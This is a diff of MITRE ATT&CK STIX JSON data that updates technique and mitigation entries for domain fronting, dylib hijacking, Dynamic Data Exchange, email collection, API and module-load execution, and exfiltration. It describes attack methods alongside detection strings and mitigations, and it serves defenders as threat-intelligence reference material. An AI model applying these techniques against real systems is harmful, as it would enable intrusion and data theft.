+            "description": "Domain fronting takes advantage of routing schemes in Content Delivery Networks (CDNs) and other services which host multiple domains to obfuscate the intended destination of HTTPS traffic or traffic tunneled through HTTPS. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015) The technique involves using different domain names in the SNI field of the TLS header and the Host field of the HTTP header. If both domains are served from the same CDN, then the CDN may route to the address specified in the HTTP header after unwrapping the TLS header. A variation of the the technique, \"domainless\" fronting, utilizes a SNI field that is left blank; this may allow the fronting to work even when the CDN attempts to validate that the SNI and HTTP Host fields match (if the blank SNI fields are ignored).\n\nFor example, if domain-x and domain-y are customers of the same CDN, it is possible to place domain-x in the TLS header and domain-y in the HTTP header. Traffic will appear to be going to domain-x, however the CDN may route it to domain-y.\n\nDetection: If SSL inspection is in place, the Host field of the HTTP header can be checked if it matches the HTTPS SNI or against a blacklist or whitelist of domain names. (Citation: Fifield Blocking Resistent Communication through domain fronting 2015)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: SSL/TLS inspection\n\nRequires Network: Yes",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "command-and-control"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1172",
+                    "external_id": "T1172"
+                },
+                {
+                    "source_name": "Fifield Blocking Resistent Communication through domain fronting 2015",
+                    "description": "David Fifield, Chang Lan, Rod Hynes, Percy Wegmann, and Vern Paxson. (2015). Blocking-resistant communication through domain fronting. Retrieved November 20, 2017.",
+                    "url": "http://www.icir.org/vern/papers/meek-PETS-2015.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "SSL/TLS inspection"
+            ],
+            "x_mitre_network_requirements": true,
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--dc43c2fe-355e-4a79-9570-3267b0992784",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dylib Hijacking Mitigation",
-            "description": "Prevent users from being able to write files to the search paths for applications - both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.",
+            "description": "Prevent users from being able to write files to the search paths for applications, both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -4365,9 +4176,9 @@
             "id": "attack-pattern--aa8bfbc9-78dc-41a4-a03b-7453e0fdccda",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Dylib Hijacking",
-            "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X).\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
+            "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.\n\nDetection: Objective-See's Dylib Hijacking Scanner can be used to detect potential cases of dylib hijacking. Monitor file systems for moving, renaming, replacing, or modifying dylibs. Changes in the set of dylibs that are loaded by a process (compared to past behavior) that do not correlate with known software, patches, etc., are suspicious. Check the system for multiple dylibs with the same name and monitor which versions have historically been loaded into a process.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nEffective Permissions: Administrator, root\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4405,20 +4216,114 @@
                 "Administrator",
                 "root"
             ],
+            "x_mitre_platforms": [
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--80c91478-ac87-434f-bee7-11f37aec4d74",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Dynamic Data Exchange Mitigation",
+            "description": "Ensure Protected View is enabled. (Citation: Microsoft Protected View)\n\nRegistry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1173",
+                    "external_id": "T1173"
+                },
+                {
+                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
+                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
+                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
+                },
+                {
+                    "source_name": "Microsoft Protected View",
+                    "description": "Microsoft. (n.d.). What is Protected View?. Retrieved November 22, 2017.",
+                    "url": "https://support.office.com/en-us/article/What-is-Protected-View-d6f09ac7-e6b9-4495-8e43-2bbcdbcb6653"
+                },
+                {
+                    "source_name": "Microsoft DDE Advisory Nov 2017",
+                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
+                    "url": "https://technet.microsoft.com/library/security/4053440"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Dynamic Data Exchange",
+            "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE is still enabled in Windows 10 and most of Microsoft Office 2016 (a December 2017 patch created a Registry key that disables DDE in Word by default). (Citation: BleepingComputer DDE Disabled in Word Dec 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014) and used to deliver execution via spear phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.\n\nDetection: OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.\n\nPlatforms: Windows\n\nData Sources: API monitoring, DLL monitoring, Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: User\n\nRemote Support: No",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "execution"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1173",
+                    "external_id": "T1173"
+                },
+                {
+                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
+                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
+                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
+                },
+                {
+                    "source_name": "SensePost PS DDE May 2016",
+                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
+                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
+                },
+                {
+                    "source_name": "Kettle CSV DDE Aug 2014",
+                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
+                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
+                },
+                {
+                    "source_name": "SensePost MacroLess DDE Oct 2017",
+                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
+                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
+                },
+                {
+                    "source_name": "NVisio Labs DDE Detection Oct 2017",
+                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
+                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "DLL monitoring",
+                "Process Monitoring",
+                "Windows Registry",
+                "Windows event logs"
+            ],
             "x_mitre_permissions_required": [
                 "User"
             ],
+            "x_mitre_remote_support": false,
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--383caaa3-c46a-4f61-b2e3-653eb132f0e7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Email Collection Mitigation",
             "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -4459,9 +4364,9 @@
             "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:25.454Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Email Collection",
-            "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
+            "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4485,26 +4390,15 @@
                 "Process use of network"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Execution through API Mitigation",
             "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior. Audit and/or block potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -4545,9 +4439,9 @@
             "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:17.472Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Execution through API",
-            "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak",
+            "description": "Adversary tools may directly use the Windows application programming interface (API) to execute binaries. Functions such as the Windows API CreateProcess will allow programs and scripts to start other processes with proper path and argument parameters. (Citation: Microsoft CreateProcess)\n\nAdditional Windows API calls that can be used to execute binaries include: (Citation: Kanthak Verifier)\n\n*CreateProcessA() and CreateProcessW(),\n*CreateProcessAsUserA() and CreateProcessAsUserW(),\n*CreateProcessInternalA() and CreateProcessInternalW(),\n*CreateProcessWithLogonW(), CreateProcessWithTokenW(),\n*LoadLibraryA() and LoadLibraryW(),\n*LoadLibraryExA() and LoadLibraryExW(),\n*LoadModule(),\n*LoadPackagedLibrary(),\n*WinExec(),\n*ShellExecuteA() and ShellExecuteW(),\n*ShellExecuteExA() and ShellExecuteExW()\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows API functions such as CreateProcess are common and difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Process monitoring\n\nPermissions Required: User, Administrator, SYSTEM\n\nRemote Support: No\n\nContributors: Stefan Kanthak",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4586,28 +4480,17 @@
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_remote_support": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
-            "x_mitre_remote_support": false
+                "Windows"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Execution through Module Load Mitigation",
             "description": "Directly mitigating module loads and API calls related to module loads will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying and correlated subsequent behavior to determine if it is the result of malicious activity.",
             "external_references": [
@@ -4623,9 +4506,9 @@
             "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:40.542Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Execution through Module Load",
-            "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n    \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n    \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n*via <code><file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"></code> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak",
+            "description": "The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like CreateProcess(), LoadLibrary(), etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n*via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n    \n*via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n    \n*via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n*via <code><file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"></code> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.\n\nDetection: Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, API monitoring, File monitoring, DLL monitoring\n\nPermissions Required: User\n\nContributors: Stefan Kanthak",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4660,26 +4543,15 @@
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Alternative Protocol Mitigation",
             "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -4705,9 +4577,9 @@
             "id": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:44.720Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Alternative Protocol",
-            "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes",
+            "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -4739,29 +4611,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--92c28497-2820-445e-9f3e-a03dd77dc0c8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Command and Control Channel Mitigation",
             "description": "Mitigations for command and control apply. Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -4782,9 +4642,9 @@
             "id": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:41.804Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Exfiltration Over Command and Control Channel",
-            "description": "Data exfiltration is performed over the Command and Control channel.  Data is encoded into the normal communications channel using the same protocol as command and control communications.\n\nDetection: Detection for command and control applies. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: User interface, Process monitoring\n\nRequires Network: Yes",
